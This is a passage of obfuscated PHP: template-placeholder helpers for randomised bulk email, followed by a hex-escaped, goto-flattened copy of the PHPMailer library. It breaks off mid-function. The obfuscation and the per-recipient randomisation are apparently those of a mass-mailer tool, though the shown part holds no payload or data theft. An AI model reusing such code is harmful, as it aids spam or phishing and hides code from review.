    $tCpWM = preg_replace("\57\50\x5b\136\100\x5d\52\51\x2e\x2a\x2f", "\x24\x31", $SPj28);
    $izkEo = str_replace("\133\55\164\x69\155\x65\55\135", date("\155\x2f\x64\x2f\131\x20\150\72\151\x3a\163\40\x61", time()), $izkEo);
    $izkEo = str_replace("\133\55\145\x6d\141\151\154\55\135", $SPj28, $izkEo);
    $izkEo = str_replace("\133\x2d\145\155\141\x69\154\165\x73\145\x72\x2d\135", $tCpWM, $izkEo);
    $izkEo = str_replace("\133\x2d\162\x61\x6e\144\157\x6d\154\145\x74\164\x65\x72\x73\55\x5d", randString("\x61\142\x63\144\x65\146\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\157\x70\161\162\x73\164\165\166\x77\x78\x79\x7a", 8, 15), $izkEo);
    $izkEo = str_replace("\133\x2d\x72\141\156\144\157\x6d\163\x74\x72\x69\156\147\x2d\x5d", randString("\x61\x62\143\x64\145\x66\x67\150\151\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\163\x74\165\x76\x77\170\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\71", 8, 15), $izkEo);
    $izkEo = str_replace("\x5b\x2d\x72\x61\x6e\x64\x6f\155\x6e\x75\x6d\x62\145\x72\55\135", randString("\x30\x31\x32\x33\x34\65\66\x37\70\x39", 7, 15), $izkEo);
    $izkEo = str_replace("\133\55\162\141\x6e\x64\x6f\155\155\144\x35\55\x5d", md5(rand()), $izkEo);
    return $izkEo;
}
function randString($k4Js9, $pWfSG, $FrCUe)
{
    $Z6HTu = rand($pWfSG, $FrCUe);
    $RNSkS = '';
    $KJHmb = 0;
    Sn14L:
    if (!($KJHmb < $Z6HTu)) {
        goto DoqBi;
    }
    $RNSkS .= $k4Js9[rand() % strlen($k4Js9)];
    gNd2K:
    $KJHmb++;
    goto Sn14L;
    DoqBi:
    return $RNSkS;
}
function is_email($OwqrC)
{
    $RH1Tc = "\57\x5e\x28\x5b\x61\x2d\x7a\101\55\x5a\x30\55\71\134\x2d\x5c\x5f\134\56\x5d\173\x31\x2c\175\x29\53\100\53\50\x5b\141\55\172\101\55\132\60\55\x39\x5c\55\134\x5f\x5c\56\x5d\x7b\x31\54\175\51\x2b\x5c\x2e\53\x28\x5b\x61\x2d\172\x5d\173\x32\x2c\x34\175\51\44\57\x69";
    if (!preg_match($RH1Tc, $OwqrC)) {
        goto azwlc;
    }
    return TRUE;
    azwlc:
}
class PHPMailer
{
    const CHARSET_ISO88591 = "\151\163\157\55\70\70\x35\71\55\x31";
    const CHARSET_UTF8 = "\x75\x74\146\55\x38";
    const CONTENT_TYPE_PLAINTEXT = "\164\x65\x78\x74\x2f\160\x6c\141\x69\x6e";
    const CONTENT_TYPE_TEXT_CALENDAR = "\164\145\170\x74\x2f\143\141\x6c\145\x6e\144\141\162";
    const CONTENT_TYPE_TEXT_HTML = "\x74\145\x78\x74\x2f\150\x74\155\154";
    const CONTENT_TYPE_MULTIPART_ALTERNATIVE = "\155\x75\x6c\x74\151\160\x61\x72\x74\57\x61\154\164\145\162\156\141\x74\x69\x76\145";
    const CONTENT_TYPE_MULTIPART_MIXED = "\155\165\x6c\164\151\x70\x61\x72\164\x2f\155\151\x78\145\x64";
    const CONTENT_TYPE_MULTIPART_RELATED = "\x6d\165\154\x74\x69\160\x61\x72\x74\x2f\x72\x65\154\x61\164\x65\x64";
    const ENCODING_7BIT = "\x37\142\151\164";
    const ENCODING_8BIT = "\x38\142\x69\164";
    const ENCODING_BASE64 = "\x62\x61\x73\x65\x36\64";
    const ENCODING_BINARY = "\142\x69\x6e\x61\162\171";
    const ENCODING_QUOTED_PRINTABLE = "\x71\165\x6f\164\145\x64\55\160\x72\x69\156\164\x61\x62\154\x65";
    public $Priority;
    public $CharSet = self::CHARSET_ISO88591;
    public $ContentType = self::CONTENT_TYPE_PLAINTEXT;
    public $Encoding = self::ENCODING_8BIT;
    public $ErrorInfo = '';
    public $From = "\162\157\x6f\x74\100\x6c\x6f\143\141\x6c\x68\157\x73\164";
    public $FromName = "\122\157\x6f\x74\x20\125\163\x65\162";
    public $Sender = '';
    public $Subject = '';
    public $Body = '';
    public $AltBody = '';
    public $Ical = '';
    protected $MIMEBody = '';
    protected $MIMEHeader = '';
    protected $mailHeader = '';
    public $WordWrap = 0;
    public $Mailer = "\155\x61\151\154";
    public $Sendmail = "\57\165\163\162\57\x73\x62\x69\156\x2f\x73\145\x6e\x64\x6d\x61\x69\x6c";
    public $UseSendmailOptions = true;
    public $ConfirmReadingTo = '';
    public $Hostname = '';
    public $MessageID = '';
    public $MessageDate = '';
    public $Host = "\154\157\x63\141\x6c\150\157\163\164";
    public $Port = 25;
    public $Helo = '';
    public $SMTPSecure = '';
    public $SMTPAutoTLS = true;
    public $SMTPAuth = false;
    public $SMTPOptions = [];
    public $Username = '';
    public $Password = '';
    public $AuthType = '';
    protected $oauth;
    public $Timeout = 300;
    public $dsn = '';
    public $SMTPDebug = 0;
    public $Debugoutput = "\145\143\x68\x6f";
    public $SMTPKeepAlive = false;
    public $SingleTo = false;
    protected $SingleToArray = [];
    public $do_verp = false;
    public $AllowEmpty = false;
    public $DKIM_selector = '';
    public $DKIM_identity = '';
    public $DKIM_passphrase = '';
    public $DKIM_domain = '';
    public $DKIM_copyHeaderFields = true;
    public $DKIM_extraHeaders = [];
    public $DKIM_private = '';
    public $DKIM_private_string = '';
    public $action_function = '';
    public $XMailer = '';
    public static $validator = "\x70\150\x70";
    protected $smtp;
    protected $to = [];
    protected $cc = [];
    protected $bcc = [];
    protected $ReplyTo = [];
    protected $all_recipients = [];
    protected $RecipientsQueue = [];
    protected $ReplyToQueue = [];
    protected $attachment = [];
    protected $CustomHeader = [];
    protected $lastMessageID = '';
    protected $message_type = '';
    protected $boundary = [];
    protected $language = [];
    protected $error_count = 0;
    protected $sign_cert_file = '';
    protected $sign_key_file = '';
    protected $sign_extracerts_file = '';
    protected $sign_key_pass = '';
    protected $exceptions = false;
    protected $uniqueid = '';
    const VERSION = "\66\56\60\56\67";
    const STOP_MESSAGE = 0;
    const STOP_CONTINUE = 1;
    const STOP_CRITICAL = 2;
    protected static $LE = "\xd\xa";
    const MAX_LINE_LENGTH = 998;
    const STD_LINE_LENGTH = 76;
    public function __construct($y6xmU = null)
    {
        if (!(null !== $y6xmU)) {
            goto GK61c;
        }
        $this->exceptions = (bool) $y6xmU;
        GK61c:
        $this->Debugoutput = strpos(PHP_SAPI, "\x63\154\x69") !== false ? "\145\143\x68\x6f" : "\x68\164\x6d\154";
    }
    public function __destruct()
    {
        $this->smtpClose();
    }
    private function mailPassthru($g7_oI, $q3Ca0, $UlmlF, $y_KXY, $s2iYx)
    {
        if (ini_get("\x6d\x62\163\x74\x72\x69\x6e\x67\56\x66\165\x6e\143\137\157\166\145\162\x6c\x6f\x61\144") & 1) {
            goto MT3e7;
        }
        $q3Ca0 = $this->encodeHeader($this->secureHeader($q3Ca0));
        goto PsQSq;
        MT3e7:
        $q3Ca0 = $this->secureHeader($q3Ca0);
        PsQSq:
        if (!$this->UseSendmailOptions or null === $s2iYx) {
            goto b5aMc;
        }
        $HYIC3 = @mail($g7_oI, $q3Ca0, $UlmlF, $y_KXY, $s2iYx);
        goto JcsDF;
        b5aMc:
        $HYIC3 = @mail($g7_oI, $q3Ca0, $UlmlF, $y_KXY);
        JcsDF:
        return $HYIC3;
    }
    protected function edebug($YX4WE)
    {
        if (!($this->SMTPDebug <= 0)) {
            goto WKivN;
        }
        return;
        WKivN:
        if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
            goto TqVzB;
        }
        $this->Debugoutput->debug($YX4WE);
        return;
        TqVzB:
        if (!(!in_array($this->Debugoutput, ["\x65\x72\x72\x6f\162\137\x6c\157\x67", "\150\164\155\x6c", "\145\143\150\x6f"]) and is_callable($this->Debugoutput))) {
            goto CYndx;
        }
        call_user_func($this->Debugoutput, $YX4WE, $this->SMTPDebug);
        return;
        CYndx:
        switch ($this->Debugoutput) {
            case "\145\162\162\157\162\137\x6c\157\147":
                error_log($YX4WE);
                goto r6Esd;
            case "\x68\164\x6d\154":
                echo htmlentities(preg_replace("\x2f\x5b\134\162\134\x6e\135\53\x2f", '', $YX4WE), ENT_QUOTES, "\125\x54\106\55\70"), "\x3c\142\162\x3e\12";
                goto r6Esd;
            case "\x65\x63\150\157":
            default:
                $YX4WE = preg_replace("\57\x5c\162\134\156\x7c\x5c\x72\x2f\x6d\x73", "\12", $YX4WE);
                echo gmdate("\131\x2d\x6d\x2d\144\x20\x48\72\x69\x3a\x73"), "\11", trim(str_replace("\xa", "\12\40\x20\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\11\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40", trim($YX4WE))), "\xa";
        }
        P4l8z:
        r6Esd:
    }
    public function isHTML($Jt311 = true)
    {
        if ($Jt311) {
            goto gj6iR;
        }
        $this->ContentType = static::CONTENT_TYPE_PLAINTEXT;
        goto O7Mb3;
        gj6iR:
        $this->ContentType = static::CONTENT_TYPE_TEXT_HTML;
        O7Mb3:
    }
    public function isSMTP()
    {
        $this->Mailer = "\x73\x6d\164\160";
    }
    public function isMail()
    {
        $this->Mailer = "\x6d\141\x69\x6c";
    }
    public function isSendmail()
    {
        $FTXHS = ini_get("\163\x65\156\x64\x6d\x61\151\x6c\x5f\x70\141\x74\150");
        if (false === stripos($FTXHS, "\x73\145\156\144\155\x61\x69\154")) {
            goto k8McC;
        }
        $this->Sendmail = $FTXHS;
        goto Oepmw;
        k8McC:
        $this->Sendmail = "\57\x75\x73\x72\x2f\163\142\x69\156\57\163\x65\x6e\x64\155\x61\151\x6c";
        Oepmw:
        $this->Mailer = "\x73\x65\156\144\x6d\141\151\x6c";
    }
    public function isQmail()
    {
        $FTXHS = ini_get("\x73\145\x6e\144\x6d\x61\151\154\137\x70\x61\x74\x68");
        if (false === stripos($FTXHS, "\x71\155\x61\x69\154")) {
            goto FZnQc;
        }
        $this->Sendmail = $FTXHS;
        goto zFkXQ;
        FZnQc:
        $this->Sendmail = "\57\166\141\x72\x2f\161\x6d\x61\151\154\57\142\x69\x6e\x2f\161\155\x61\x69\x6c\x2d\x69\156\152\145\143\164";
        zFkXQ:
        $this->Mailer = "\161\155\141\x69\154";
    }
    public function addAddress($w1_0x, $dEC3m = '')
    {
        return $this->addOrEnqueueAnAddress("\x74\x6f", $w1_0x, $dEC3m);
    }
    public function addCC($w1_0x, $dEC3m = '')
    {
        return $this->addOrEnqueueAnAddress("\x63\143", $w1_0x, $dEC3m);
    }
    public function addBCC($w1_0x, $dEC3m = '')
    {
        return $this->addOrEnqueueAnAddress("\x62\x63\x63", $w1_0x, $dEC3m);
    }
    public function addReplyTo($w1_0x, $dEC3m = '')
    {
        return $this->addOrEnqueueAnAddress("\x52\145\160\x6c\x79\55\124\x6f", $w1_0x, $dEC3m);
    }
    protected function addOrEnqueueAnAddress($unDTy, $w1_0x, $dEC3m)
    {
        $w1_0x = trim($w1_0x);
        $dEC3m = trim(preg_replace("\x2f\133\134\162\x5c\x6e\x5d\x2b\x2f", '', $dEC3m));
        $lLiqT = strrpos($w1_0x, "\x40");
        if (!(false === $lLiqT)) {
            goto BKlUW;
        }
        $puwAg = sprintf("\45\x73\40\50\x25\x73\51\72\x20\x25\x73", $this->lang("\151\x6e\166\141\154\x69\x64\137\x61\x64\144\x72\x65\163\x73"), $unDTy, $w1_0x);
        $this->setError($puwAg);
        $this->edebug($puwAg);
        if (!$this->exceptions) {
            goto iSe3S;
        }
        throw new Exception($puwAg);
        iSe3S:
        return false;
        BKlUW:
        $s2iYx = [$unDTy, $w1_0x, $dEC3m];
        if (!($this->has8bitChars(substr($w1_0x, ++$lLiqT)) and static::idnSupported())) {
            goto RwY46;
        }
        if ("\122\145\160\154\x79\x2d\124\x6f" != $unDTy) {
            goto xbge0;
        }
        if (array_key_exists($w1_0x, $this->ReplyToQueue)) {
            goto nr7lv;
        }
        $this->ReplyToQueue[$w1_0x] = $s2iYx;
        return true;
        nr7lv:
        goto RYefs;
        xbge0:
        if (array_key_exists($w1_0x, $this->RecipientsQueue)) {
            goto vOPl3;
        }
        $this->RecipientsQueue[$w1_0x] = $s2iYx;
        return true;
        vOPl3:
        RYefs:
        return false;
        RwY46:
        return call_user_func_array([$this, "\141\x64\x64\101\156\101\x64\144\x72\x65\163\163"], $s2iYx);
    }
    protected function addAnAddress($unDTy, $w1_0x, $dEC3m = '')
    {
        if (in_array($unDTy, ["\164\x6f", "\143\143", "\142\143\x63", "\x52\x65\160\x6c\171\55\124\x6f"])) {
            goto GTUHV;
        }
        $puwAg = sprintf("\45\163\72\40\x25\x73", $this->lang("\x49\x6e\166\x61\154\x69\x64\40\x72\145\x63\151\160\151\x65\x6e\164\40\x6b\x69\156\x64"), $unDTy);
        $this->setError($puwAg);
        $this->edebug($puwAg);
        if (!$this->exceptions) {
            goto j676G;
        }
        throw new Exception($puwAg);
        j676G:
        return false;
        GTUHV:
        if (static::validateAddress($w1_0x)) {
            goto QMiGI;
        }
        $puwAg = sprintf("\x25\x73\40\50\x25\x73\x29\72\x20\45\x73", $this->lang("\151\156\166\141\x6c\151\144\x5f\141\144\x64\x72\x65\163\163"), $unDTy, $w1_0x);
        $this->setError($puwAg);
        $this->edebug($puwAg);
        if (!$this->exceptions) {
            goto QmFs2;
        }
        throw new Exception($puwAg);
        QmFs2:
        return false;
        QMiGI:
        if ("\x52\145\x70\154\x79\55\x54\x6f" != $unDTy) {
            goto HnKFb;
        }
        if (array_key_exists(strtolower($w1_0x), $this->ReplyTo)) {
            goto mFPIa;
        }
        $this->ReplyTo[strtolower($w1_0x)] = [$w1_0x, $dEC3m];
        return true;
        mFPIa:
        goto gASZ0;
        HnKFb:
        if (array_key_exists(strtolower($w1_0x), $this->all_recipients)) {
            goto wZwkR;
        }
        $this->{$unDTy}[] = [$w1_0x, $dEC3m];
        $this->all_recipients[strtolower($w1_0x)] = true;
        return true;
        wZwkR:
        gASZ0:
        return false;
    }
    public static function parseAddresses($se9jr, $G6VpU = true)
    {
        $UxZQI = [];
        if ($G6VpU and function_exists("\x69\155\x61\x70\137\162\x66\143\70\x32\62\x5f\160\141\162\x73\145\137\x61\x64\x72\x6c\x69\163\164")) {
            goto nEBIb;
        }
        $kCHeS = explode("\54", $se9jr);
        foreach ($kCHeS as $w1_0x) {
            $w1_0x = trim($w1_0x);
            if (strpos($w1_0x, "\74") === false) {
                goto aFytp;
            }
            list($dEC3m, $SPj28) = explode("\x3c", $w1_0x);
            $SPj28 = trim(str_replace("\76", '', $SPj28));
            if (!static::validateAddress($SPj28)) {
                goto XnbiB;
            }
            $UxZQI[] = ["\156\x61\155\x65" => trim(str_replace(["\x22", "\47"], '', $dEC3m)), "\x61\144\144\162\145\x73\x73" => $SPj28];
            XnbiB:
            goto CBBk1;
            aFytp:
            if (!static::validateAddress($w1_0x)) {
                goto k_qXH;
            }
            $UxZQI[] = ["\156\x61\155\145" => '', "\x61\x64\x64\162\x65\163\163" => $w1_0x];
            k_qXH:
            CBBk1:
            VagcI:
        }
        zh4q3:
        goto fGG_x;
        nEBIb:
        $kCHeS = imap_rfc822_parse_adrlist($se9jr, '');
        foreach ($kCHeS as $w1_0x) {
            if (!("\56\123\x59\x4e\124\x41\130\55\x45\122\122\117\122\x2e" != $w1_0x->host)) {
                goto N9fsn;
            }
            if (!static::validateAddress($w1_0x->mailbox . "\100" . $w1_0x->host)) {
                goto kQL7x;
            }
            $UxZQI[] = ["\156\141\x6d\x65" => property_exists($w1_0x, "\x70\x65\162\x73\157\156\141\154") ? $w1_0x->personal : '', "\141\x64\144\162\x65\x73\163" => $w1_0x->mailbox . "\100" . $w1_0x->host];
            kQL7x:
            N9fsn:
            bwS9u:
        }
        RfsMu:
        fGG_x:
        return $UxZQI;
    }
    public function setFrom($w1_0x, $dEC3m = '', $Exle_ = true)
    {
        $w1_0x = trim($w1_0x);
        $dEC3m = trim(preg_replace("\57\x5b\134\x72\134\156\135\53\x2f", '', $dEC3m));
        $lLiqT = strrpos($w1_0x, "\100");
        if (!(false === $lLiqT or (!$this->has8bitChars(substr($w1_0x, ++$lLiqT)) or !static::idnSupported()) and !static::validateAddress($w1_0x))) {
            goto UNDEd;
        }
        $puwAg = sprintf("\x25\163\40\50\x46\x72\157\155\51\72\40\45\163", $this->lang("\x69\x6e\166\141\154\x69\144\x5f\141\x64\x64\162\x65\x73\163"), $w1_0x);
        $this->setError($puwAg);
        $this->edebug($puwAg);
        if (!$this->exceptions) {
            goto v39Pt;
        }
        throw new Exception($puwAg);
        v39Pt:
        return false;
        UNDEd:
        $this->From = $w1_0x;
        $this->FromName = $dEC3m;
        if (!$Exle_) {
            goto tMG5P;
        }
        if (!empty($this->Sender)) {
            goto Mw1P5;
        }
        $this->Sender = $w1_0x;
        Mw1P5:
        tMG5P:
        return true;
    }
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }
    public static function validateAddress($w1_0x, $d_QrI = null)
    {
        if (!(null === $d_QrI)) {
            goto A2nBJ;
        }
        $d_QrI = static::$validator;
        A2nBJ:
        if (!is_callable($d_QrI)) {
            goto XW26s;
        }
        return call_user_func($d_QrI, $w1_0x);
        XW26s:
        if (!(strpos($w1_0x, "\12") !== false or strpos($w1_0x, "\15") !== false)) {
            goto nsImy;
        }
        return false;
        nsImy:
        switch ($d_QrI) {
            case "\160\143\x72\x65":
            case "\x70\x63\162\145\x38":
                return (bool) preg_match("\57\136\x28\77\x21\50\77\76\x28\x3f\x31\x29\x22\77\50\x3f\76\134\134\x5b\40\x2d\x7e\135\174\133\x5e\x22\135\x29\42\x3f\x28\77\61\51\51\x7b\62\x35\65\54\x7d\51\50\x3f\x21\50\77\x3e\x28\x3f\x31\51\x22\x3f\50\77\76\134\134\x5b\x20\55\x7e\x5d\x7c\133\136\x22\x5d\x29\42\77\50\x3f\x31\51\51\173\x36\65\x2c\175\x40\x29" . "\x28\x28\77\76\x28\77\76\50\77\76\50\x28\77\76\50\77\x3e\50\77\76\134\170\x30\104\x5c\x78\60\101\x29\77\133\x5c\x74\40\x5d\x29\x2b\174\x28\x3f\76\133\134\x74\40\x5d\x2a\134\170\x30\104\134\170\x30\101\51\x3f\133\134\x74\40\x5d\x2b\x29\x3f\51\x28\x5c\50\50\77\x3e\50\77\62\x29" . "\50\77\76\x5b\x5c\x78\x30\61\55\x5c\x78\x30\x38\134\170\x30\x42\134\x78\60\x43\134\x78\60\x45\55\x27\x2a\55\134\x5b\x5c\x5d\55\134\170\x37\106\x5d\x7c\134\x5c\133\134\x78\60\60\55\134\170\x37\x46\x5d\174\x28\77\x33\51\x29\51\52\x28\x3f\x32\51\x5c\51\51\51\53\50\x3f\x32\x29\51\174\50\x3f\x32\x29\x29\77\51" . "\50\133\41\43\x2d\x27\52\53\x5c\57\55\x39\75\x3f\x5e\55\x7e\55\x5d\x2b\174\42\50\x3f\x3e\x28\x3f\x32\x29\50\x3f\76\x5b\x5c\170\60\61\55\134\170\x30\70\134\170\x30\x42\134\170\60\103\x5c\170\60\105\55\x21\x23\x2d\134\133\x5c\135\x2d\134\x78\67\106\135\x7c\134\134\133\134\x78\60\x30\x2d\134\170\x37\106\x5d\51\x29\52" . "\x28\x3f\x32\x29\42\51\50\77\76\x28\x3f\x31\51\134\56\50\x3f\61\x29\x28\x3f\x34\x29\51\52\50\x3f\61\51\x40\x28\77\x21\50\x3f\61\51\133\x61\x2d\172\x30\55\71\x2d\x5d\173\x36\x34\x2c\x7d\x29\x28\77\x31\x29\x28\77\76\50\x5b\x61\55\172\x30\x2d\71\x5d\50\77\76\x5b\x61\55\172\60\55\71\55\x5d\52\133\x61\x2d\x7a\x30\55\x39\135\51\x3f\51" . "\50\77\76\x28\x3f\x31\51\134\56\50\x3f\41\50\77\x31\x29\133\141\x2d\172\x30\55\71\55\x5d\x7b\66\64\54\175\x29\50\77\x31\51\50\x3f\65\51\x29\x7b\x30\54\x31\x32\66\175\174\134\x5b\50\x3f\x3a\x28\77\x3e\111\120\166\66\72\x28\x3f\x3e\50\x5b\x61\x2d\x66\60\x2d\x39\x5d\x7b\x31\54\x34\x7d\51\50\77\76\x3a\x28\x3f\x36\x29\51\173\67\175" . "\x7c\x28\77\x21\50\77\72\x2e\x2a\x5b\141\55\x66\60\55\71\x5d\x5b\72\134\x5d\x5d\51\173\x38\x2c\x7d\51\50\50\x3f\66\x29\x28\x3f\76\72\50\x3f\66\51\x29\x7b\x30\x2c\66\175\x29\x3f\72\72\x28\77\67\51\77\x29\51\x7c\50\77\76\x28\x3f\76\111\x50\166\x36\72\50\x3f\76\50\77\x36\x29\x28\77\76\x3a\x28\x3f\66\51\x29\173\x35\175\x3a" . "\x7c\50\x3f\x21\x28\x3f\72\x2e\x2a\x5b\141\55\x66\60\x2d\71\135\72\51\x7b\x36\x2c\x7d\x29\50\77\x38\51\x3f\72\72\50\77\x3e\50\x28\77\x36\x29\x28\x3f\x3e\x3a\50\x3f\66\51\x29\173\60\54\64\175\x29\72\x29\x3f\51\x29\x3f\x28\x32\65\133\x30\55\65\x5d\x7c\62\x5b\60\55\64\x5d\x5b\60\x2d\71\135\x7c\x31\x5b\x30\55\x39\135\x7b\x32\x7d" . "\x7c\133\x31\x2d\x39\135\x3f\133\60\55\x39\135\x29\50\x3f\x3e\134\56\50\x3f\x39\x29\x29\173\x33\175\x29\x29\x5c\x5d\51\50\x3f\61\x29\x24\x2f\151\x73\x44", $w1_0x);
            case "\x68\164\x6d\x6c\x35":
                return (bool) preg_match("\57\136\133\141\x2d\172\x41\55\x5a\x30\55\71\x2e\41\x23\44\x25\x26\x27\x2a\x2b\134\x2f\x3d\x3f\x5e\137\x60\173\174\175\x7e\x2d\x5d\x2b\x40\x5b\x61\55\172\101\x2d\132\60\x2d\71\135\50\77\72\x5b\x61\x2d\x7a\x41\x2d\132\x30\55\71\55\x5d\x7b\60\x2c\66\61\175" . "\133\141\55\172\x41\x2d\132\x30\x2d\71\135\51\77\x28\77\72\134\x2e\x5b\141\x2d\x7a\101\55\x5a\x30\55\x39\135\x28\77\x3a\x5b\x61\x2d\x7a\x41\x2d\132\x30\x2d\x39\x2d\135\173\x30\54\x36\61\175\x5b\141\55\172\x41\55\x5a\x30\55\71\135\51\x3f\51\52\44\57\163\x44", $w1_0x);
            case "\160\150\x70":
            default:
                return (bool) filter_var($w1_0x, FILTER_VALIDATE_EMAIL);
        }
        y_klO:
        jgCZL:
    }
    public static function idnSupported()
    {
        return function_exists("\151\x64\156\137\164\157\137\141\163\143\151\151") and function_exists("\x6d\x62\x5f\143\157\x6e\166\x65\x72\164\x5f\145\x6e\143\x6f\144\x69\156\x67");
    }
    public function punyencodeAddress($w1_0x)
    {
        $lLiqT = strrpos($w1_0x, "\x40");
        if (!(static::idnSupported() and !empty($this->CharSet) and false !== $lLiqT)) {
            goto Ixmzu;
        }
        $facfs = substr($w1_0x, ++$lLiqT);
        if (!($this->has8bitChars($facfs) and @mb_check_encoding($facfs, $this->CharSet))) {
            goto ctx_J;
        }
        $facfs = mb_convert_encoding($facfs, "\125\x54\106\55\x38", $this->CharSet);
        $tAScD = 0;
        $fk236 = idn_to_ascii($facfs, $tAScD, INTL_IDNA_VARIANT_UTS46);
        if (!(false !== $fk236)) {
            goto UMXJZ;
        }
        return substr($w1_0x, 0, $lLiqT) . $fk236;
        UMXJZ:
        ctx_J:
        Ixmzu:
        return $w1_0x;
    }
    public function send()
    {
        try {
            if ($this->preSend()) {
                goto Hfluj;
            }
            return false;
            Hfluj:
            return $this->postSend();
        } catch (Exception $CsLop) {
            $this->mailHeader = '';
            $this->setError($CsLop->getMessage());
            if (!$this->exceptions) {
                goto cWRLY;
            }
            throw $CsLop;
            cWRLY:
            return false;
        }
    }
    public function preSend()
    {
        if ("\x73\x6d\x74\160" == $this->Mailer or "\x6d\x61\x69\x6c" == $this->Mailer and stripos(PHP_OS, "\x57\111\x4e") === 0) {
            goto JUUsS;
        }
        static::setLE(PHP_EOL);
        goto rkaS4;
        JUUsS:
        static::setLE("\xd\12");
        rkaS4:
        if (!(ini_get("\155\x61\151\x6c\56\x61\144\144\137\x78\x5f\x68\x65\141\144\x65\x72") == 1 and "\155\x61\151\x6c" == $this->Mailer and stripos(PHP_OS, "\x57\x49\x4e") === 0 and (version_compare(PHP_VERSION, "\67\x2e\x30\x2e\x30", "\x3e\x3d") and version_compare(PHP_VERSION, "\67\56\x30\x2e\x31\x37", "\74") or version_compare(PHP_VERSION, "\x37\x2e\61\x2e\60", "\76\75") and version_compare(PHP_VERSION, "\67\56\x31\x2e\63", "\x3c")))) {
            goto rQSgx;
        }
        trigger_error("\131\x6f\165\x72\40\x76\145\x72\x73\x69\157\156\40\157\x66\40\120\x48\x50\40\x69\x73\40\141\146\146\x65\143\164\145\144\40\142\171\40\x61\x20\x62\165\147\x20\164\150\141\164\40\155\x61\171\x20\162\x65\163\x75\154\x74\40\x69\156\40\143\x6f\162\x72\x75\160\x74\145\x64\x20\x6d\x65\163\163\141\147\145\x73\x2e" . "\x20\124\157\x20\x66\151\x78\40\151\x74\x2c\40\163\167\151\164\143\x68\40\x74\x6f\40\163\x65\x6e\x64\151\156\147\x20\x75\163\151\156\x67\40\123\x4d\x54\x50\54\40\144\151\163\141\142\x6c\x65\40\x74\150\x65\x20\155\x61\151\154\56\141\x64\x64\x5f\170\137\150\x65\141\x64\x65\x72\40\x6f\160\164\x69\x6f\x6e\x20\151\x6e" . "\40\x79\x6f\x75\162\40\x70\x68\160\x2e\151\x6e\151\54\40\x73\x77\x69\164\x63\x68\x20\164\x6f\x20\115\141\x63\117\x53\x20\157\x72\x20\114\x69\x6e\x75\x78\54\x20\157\162\x20\165\x70\147\162\x61\x64\145\40\x79\157\165\162\40\x50\110\120\x20\x74\157\x20\x76\x65\x72\163\151\x6f\x6e\x20\67\x2e\x30\56\61\x37\x2b\x20\157\x72\x20\x37\56\61\x2e\x33\53\x2e", E_USER_WARNING);
        rQSgx:
        try {
            $this->error_count = 0;
            $this->mailHeader = '';
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $s2iYx) {
                $s2iYx[1] = $this->punyencodeAddress($s2iYx[1]);
                call_user_func_array([$this, "\141\144\x64\x41\156\x41\x64\144\x72\145\x73\x73"], $s2iYx);
                y27D4:
            }
            UdzrV:
            if (!(count($this->to) + count($this->cc) + count($this->bcc) < 1)) {
                goto NjOR7;
            }
            throw new Exception($this->lang("\x70\162\x6f\x76\x69\144\x65\137\141\144\x64\162\145\x73\163"), self::STOP_CRITICAL);
            NjOR7:
            foreach (["\106\x72\x6f\155", "\123\x65\156\x64\145\162", "\103\x6f\156\x66\x69\162\155\x52\145\141\x64\x69\156\147\124\x6f"] as $wDNeR) {
                $this->{$wDNeR} = trim($this->{$wDNeR});
                if (!empty($this->{$wDNeR})) {
                    goto BvRz6;
                }
                goto iqa6A;
                BvRz6:
                $this->{$wDNeR} = $this->punyencodeAddress($this->{$wDNeR});
                if (static::validateAddress($this->{$wDNeR})) {
                    goto dkC5i;
                }
                $puwAg = sprintf("\x25\x73\40\50\45\163\x29\x3a\x20\45\x73", $this->lang("\151\156\166\141\x6c\x69\144\137\141\144\144\162\145\163\x73"), $wDNeR, $this->{$wDNeR});
                $this->setError($puwAg);
                $this->edebug($puwAg);
                if (!$this->exceptions) {
                    goto e2tRf;
                }
                throw new Exception($puwAg);
                e2tRf:
                return false;
                dkC5i:
                iqa6A:
            }
            bsFgE:
            if (!$this->alternativeExists()) {
                goto p7jWd;
            }
            $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE;
            p7jWd:
            $this->setMessageType();
            if (!(!$this->AllowEmpty and empty($this->Body))) {
                goto utPuV;
            }
            throw new Exception($this->lang("\x65\x6d\x70\x74\x79\137\x6d\x65\163\x73\141\147\145"), self::STOP_CRITICAL);
            utPuV:
            $this->Subject = trim($this->Subject);
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            $ltkTQ = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $ltkTQ;
            if (!("\x6d\141\151\x6c" == $this->Mailer)) {
                goto sEL8z;
            }
            if (count($this->to) > 0) {
                goto zbjxy;
            }
            $this->mailHeader .= $this->headerLine("\124\157", "\165\156\x64\151\x73\143\154\x6f\163\x65\144\55\162\x65\x63\151\160\151\x65\x6e\164\x73\x3a\x3b");
            goto bNvVA;
            zbjxy:
            $this->mailHeader .= $this->addrAppend("\124\x6f", $this->to);
            bNvVA:
            $this->mailHeader .= $this->headerLine("\x53\x75\142\152\145\143\x74", $this->encodeHeader($this->secureHeader($this->Subject)));
            sEL8z:
            if (!(!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and static::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private)))) {
                goto FN1pb;
            }
            $VTJ49 = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
            $this->MIMEHeader = rtrim($this->MIMEHeader, "\15\12\x20") . static::$LE . static::normalizeBreaks($VTJ49) . static::$LE;
            FN1pb:
            return true;
        } catch (Exception $CsLop) {
            $this->setError($CsLop->getMessage());
            if (!$this->exceptions) {
                goto xcnXE;
            }
            throw $CsLop;
            xcnXE:
            return false;
        }
    }
    public function postSend()
    {
        try {
            switch ($this->Mailer) {
                case "\x73\x65\x6e\144\x6d\141\151\x6c":
                case "\x71\x6d\x61\x69\x6c":
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case "\163\x6d\x74\160":
